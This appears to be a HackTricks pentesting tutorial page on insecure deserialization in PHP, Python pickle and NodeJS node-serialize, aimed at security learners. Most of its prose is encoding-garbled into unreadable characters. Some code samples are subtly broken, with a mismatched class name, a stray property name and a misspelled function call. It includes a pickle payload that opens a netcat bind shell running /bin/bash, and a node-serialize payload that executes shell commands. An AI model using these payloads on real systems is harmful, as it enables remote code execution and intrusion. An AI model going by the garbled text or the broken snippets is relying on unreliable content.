hacktricks/pentesting-web/deserialization
2024-09-04 13:36:53 +00:00
..
nodejs-proto-prototype-pollution Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:36:53 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:17:20 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
exploiting-__viewstate-parameter.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:18:57 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:18:57 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
java-transformers-to-rutime-exec-payload.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:55:01 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:36:53 +00:00
php-deserialization-+-autoload-classes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
python-yaml-deserialization.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:18:57 +00:00
README.md Translated ['pentesting-web/deserialization/README.md'] to in 2024-08-12 13:22:20 +00:00

Deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Serialization рдХреЛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рдРрд╕реЗ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдордЭрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдпрд╛ рддреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рд╣реИ рдпрд╛ рдЗрд╕реЗ рд╕рдВрдЪрд╛рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рдирд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдмрд╛рдж рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЗрд╕рдХреА рд╕рдВрд░рдЪрдирд╛ рдФрд░ рд╕реНрдерд┐рддрд┐ рдХреЛ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдПред

Deserialization, рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡рд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ serialization рдХрд╛ рдкреНрд░рддрд┐рдХрд╛рд░ рдХрд░рддреА рд╣реИред рдЗрд╕рдореЗрдВ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рд▓реЗрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред

Deserialization рдЦрддрд░рдирд╛рдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЕрдиреБрдХреНрд░рдорд┐рдд рдбреЗрдЯрд╛ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдпрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд╡реНрдпрд╡рд╣рд╛рд░ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХреЗред

PHP

PHP рдореЗрдВ, serialization рдФрд░ deserialization рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рджреМрд░рд╛рди рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рджреБрдИ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  • __sleep: рдЬрдм рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИ, рддрдм рдЗрд╕реЗ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдЙрди рд╕рднреА рдЧреБрдгреЛрдВ рдХреЗ рдирд╛рдореЛрдВ рдХрд╛ рдПрдХ рдРрд░реЗ рд▓реМрдЯрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдХрд╛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдЙрдкрдпреЛрдЧ рд▓рдВрдмрд┐рдд рдбреЗрдЯрд╛ рдХреЛ рд╕рдорд░реНрдкрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╕рдорд╛рди рд╕рдлрд╛рдИ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • __wakeup: рдЬрдм рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ deserialized рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИ, рддрдм рдЗрд╕реЗ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ serialization рдХреЗ рджреМрд░рд╛рди рдЦреЛ рдЧрдП рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреНрдп рдкреБрдирдГ рдЖрд░рдВрдн рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
  • __unserialize: рдпрд╣ рд╡рд┐рдзрд┐ __wakeup рдХреЗ рдмрдЬрд╛рдп (рдпрджрд┐ рдпрд╣ рдореМрдЬреВрдж рд╣реИ) рддрдм рдмреБрд▓рд╛рдИ рдЬрд╛рддреА рд╣реИ рдЬрдм рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ deserialized рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ __wakeup рдХреА рддреБрд▓рдирд╛ рдореЗрдВ deserialization рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рдЕрдзрд┐рдХ рдирд┐рдпрдВрддреНрд░рдг рджреЗрддреА рд╣реИред
  • __destruct: рдпрд╣ рд╡рд┐рдзрд┐ рддрдм рдмреБрд▓рд╛рдИ рдЬрд╛рддреА рд╣реИ рдЬрдм рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдирд╖реНрдЯ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдЬрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдорд╛рдкреНрдд рд╣реЛрддреА рд╣реИред рдЗрд╕рдХрд╛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдЙрдкрдпреЛрдЧ рд╕рдлрд╛рдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╣реИрдВрдбрд▓ рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рдмрдВрдж рдХрд░рдирд╛ред
  • __toString: рдпрд╣ рд╡рд┐рдзрд┐ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдпрд╛ рдЗрд╕рдХреЗ рднреАрддрд░ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдПрдХ рдкрд╛рдареНрдп рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

рдпрджрд┐ рдЖрдк рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рджреЗрдЦреЗрдВ рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдлрд╝рдВрдХреНрд╢рди __wakeup рдФрд░ __destruct рддрдм рдХреЙрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдИ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдореЗрдВ рдЖрдк рдкрд╛рдПрдВрдЧреЗ рдХрд┐ __toString рдлрд╝рдВрдХреНрд╢рди рддрдм рдХреЙрд▓ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдХреБрдЫ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рд▓реЗрдХрд┐рди рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рдЕрдм рдирд╣реАрдВ рд╣реЛ рд░рд╣рд╛ рд╣реИред

{% hint style="warning" %} рдпрджрд┐ рдЗрд╕реЗ рдХреНрд▓рд╛рд╕ рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдореЗрдердб __unserialize(array $data) __wakeup() рдХреЗ рдмрдЬрд╛рдп рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЖрдкрдХреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдбреЗрдЯрд╛ рдПрдХ рдПрд░реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдк рдЗрд╕ рдореЗрдердб рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдХреЛ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдФрд░ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

рдЖрдк рдПрдХ рд╕рдордЭрд╛рдпрд╛ рд╣реБрдЖ PHP рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, рдпрд╣рд╛рдБ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf рдпрд╛ рдпрд╣рд╛рдБ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

рдЖрдк PHP рдСрдЯреЛрд▓реЛрдб рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдиреЗ php рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдзрд┐рдХ:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

рд╕рдВрджрд░реНрднрд┐рдд рдорд╛рдиреЛрдВ рдХреЛ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдирд╛

рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЖрдк рдПрдХ рдорд╛рди рдХреЛ рджреВрд╕рд░реЗ рдорд╛рди рдХреЗ рд╕рдВрджрд░реНрдн рдХреЗ рд░реВрдк рдореЗрдВ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC рдЖрдкрдХреЛ PHP deserialization рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП payloads рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдк рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ deserialization рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗ рд▓реЗрдХрд┐рди рдЖрдк рдмрд╛рд╣рд░реА PHP рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдХреЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рддреЛ, рдпрджрд┐ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╕рд░реНрд╡рд░ рдХрд╛ phpinfo() рдЬрд╛рдВрдЪреЗрдВ рдФрд░ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ (рдпрд╣рд╛рдВ рддрдХ рдХрд┐ PHPGGC рдХреЗ gadgets рдкрд░) рдХреБрдЫ рд╕рдВрднрд╛рд╡рд┐рдд gadgets рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

phar:// metadata deserialization

рдпрджрд┐ рдЖрдкрдиреЗ рдПрдХ LFI рдкрд╛рдпрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдЕрдВрджрд░ PHP рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП file_get_contents(), fopen(), file() рдпрд╛ file_exists(), md5_file(), filemtime() рдпрд╛ filesize()** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред** рдЖрдк phar рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рддреЗ рд╕рдордп рд╣реЛрдиреЗ рд╡рд╛рд▓реА deserialization рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЛрд╕реНрдЯ рдкрдврд╝реЗрдВ:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

рдЬрдм рдСрдмреНрдЬреЗрдХреНрдЯ unpickle рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдлрд╝рдВрдХреНрд╢рди __reduce__ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред
рдЬрдм рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд░реНрд╡рд░ рдПрдХ рддреНрд░реБрдЯрд┐ рд╡рд╛рдкрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

For more information about escaping from pickle jails check:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Class Pollution (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magic Functions

JS рдХреЗ рдкрд╛рд╕ "рдЬрд╛рджреБрдИ" рдлрд╝рдВрдХреНрд╢рди рдирд╣реАрдВ рд╣реИрдВ рдЬреИрд╕реЗ PHP рдпрд╛ Python рдЬреЛ рдХреЗрд╡рд▓ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВрдЧреЗред рд▓реЗрдХрд┐рди рдЗрд╕рдореЗрдВ рдХреБрдЫ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ рдЬреЛ рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ рд╕реАрдзреЗ рдЙрдиреНрд╣реЗрдВ рдХреЙрд▓ рдХрд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ toString, valueOf, toJSONред
рдпрджрд┐ рдЖрдк deserialization рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрди рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЛ рдЕрдиреНрдп рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП) рдЖрдк рдЬрдм рдЗрдиреНрд╣реЗрдВ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдПрдХ рдФрд░ "рдЬрд╛рджреБрдИ" рддрд░реАрдХрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдмрд┐рдирд╛ рд╕реАрдзреЗ рдЗрд╕реЗ рдХреЙрд▓ рдХрд┐рдП рд╣реИ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рдЬреЛ рдПрдХ async рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдкреНрд░реЙрдорд┐рд╕)ред рдХреНрдпреЛрдВрдХрд┐, рдпрджрд┐ рдЖрдк рдЙрд╕ рд░рд┐рдЯрд░реНрди рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рдЕрдиреНрдп рдкреНрд░реЙрдорд┐рд╕ рдореЗрдВ "then" рдирд╛рдордХ рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рдХрд╛рд░ рдХреА рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЗ рд╕рд╛рде рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ рдХреЗрд╡рд▓ рдЗрд╕рд▓рд┐рдП рдХрд┐ рдпрд╣ рдПрдХ рдЕрдиреНрдп рдкреНрд░реЙрдорд┐рд╕ рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ рдФрд░ prototype рдкреНрд░рджреВрд╖рдг

рдпрджрд┐ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

рдпрд╣ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like:
рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬреНрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

